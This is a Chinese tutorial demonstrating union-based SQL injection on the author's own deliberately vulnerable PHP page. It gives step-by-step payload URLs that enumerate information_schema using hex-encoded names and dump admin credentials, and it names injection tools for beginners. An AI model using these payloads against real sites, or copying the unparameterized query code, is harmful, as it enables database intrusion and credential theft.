日期:2014-05-16 浏览次数:20817 次
小编说:本着文明原则,就不拿别人的站点来测试了,自己写一个有漏洞的程序,然后一次解析注入漏洞的原理,希望大家举一反三,别干坏事就行了。较出名的注入工具有:明小子的domain 4.1 、小竹的NBSI、教主的HDSI和啊D的注入工具等等,可以初学可以用这些来试试。
?
有漏洞的PHP代码:
<?php $dbserver='localhost'; $dbusername='root'; $dbpassword='root'; $dbname='wap_impressions'; $id = $_GET["id"]; $conn=mysql_pconnect($dbserver,$dbusername,$dbpassword); mysql_select_db($dbname); mysql_query('set names utf8'); $sql = "select * from visitors where v_id=$id"; $result = mysql_query($sql); if($row = mysql_fetch_array($result)){ echo $row["visitor"]."->".$row["browser_type"]."<br/>"; } mysql_close($conn); ?>?
该代码很简单,就只接收ID参数,并从数据库中查询,显示...其中获取到参数后,并为做特殊的过滤,因此就有章可循,呵呵。。
?
我们先来访问下这个DEMO程序显示的是什么样的。
输入http://localhost/wapdemo/test.php?id=1
显示:192.168.2.210->IE
?
测试是否该程序对参数进行了特殊过滤,可以通过在参数后面加上and 1=1或者and 1=2来测试、、
当and 1=1正常显示,and 1=2不显示,那么就证明了我们加入的这几个参数在代码里起作用了,存在漏洞,那我们开始通过SQL注入漏洞来猜解一下吧。
?
1.猜解现在程序页用的表有多少个字段,可以用“order by 字段下标” 来测试他有多少字段。
http://localhost/wapdemo/test.php?id=1 order by 6? (结果报错)
http://localhost/wapdemo/test.php?id=1 order by 5? (未报错)
那么证明有5个字段。。。
?
2.查询那些字段在该页可用
http://localhost/wapdemo/test.php?id=1 and 1=2 union select 1,2,3,4,5
显示:2->4
证明第2和4字段在该页显示了,那么我们就可以把我们想要的信息都替换在该字段显示出来,比如查看数据库版本,数据库名等。。
?
3.查看数据库版本和数据库名
http://localhost/wapdemo/test.php?id=1 and 1=2 union select 1,version(),3,database(),5
显示:5.1.36-community-log->wap_impressions
看来我用的数据库版本是5.1的,用的表是wap_impressions,可以在代码中可以看到,确实是这个表。
?
4.知道了数据库名就好办了,那么我们可以通过MYSQL系统表information_schema来获得wap_impressions下的所有表以及表下的字段,当然PHP参数的获取自动屏蔽了单引号,没关系,我们可以用16进制绕过。
16进制的获取方法,可以通过MYSQL的参数hex("xxxx")或者通过PHP或者JAVA或者网上的工具来转,这里就不多说了。
?
4.1. 找出wap_impressions下的管理员表
?
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=0x7761705F696D7072657373696F6E73 limit 0,1
....
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=0x7761705F696D7072657373696F6E73 limit N,1
?
N次的爆破,终于把wap_impressions下所有的表都显示出来了。
?
0x7761705F696D7072657373696F6E73就是wap_impressions的16进制
?
最后找出管理员表
显示:admin->4
?
4.2. 找出admin下的管理员表下所有的字段
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,column_name,3,4,5 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x7761705F696D7072657373696F6E73 AND table_name=0x61646D696E limit 0,1
...
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,column_name,3,4,5 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x7761705F696D7072657373696F6E73 AND table_name=0x61646D696E limit N,1
?
0x61646D696E是admin的16进制
?
最后找出admin表中所有字段为
显示:admin_id->4
????????? admin_name->4
??????? ? admin_pass->4
5.终于最后把管理员的表拿到手了
admin
admin_id??? admin_name?? admin_pass
?
那么我们就可以来查询所有该表下的管理员了
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,admin_name,3,admin_pass,5 FROM admin limit 0,1
...
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,admin_name,3,admin_pass,5 FROM admin limit N,1
?
找出管理员:
显示:wangking->123456
?
?
当然一般网上的密码都是加密了的,网上有很多的解密工具,这里只是说说怎么用注入漏洞进行猜解,获取我们想要的信息。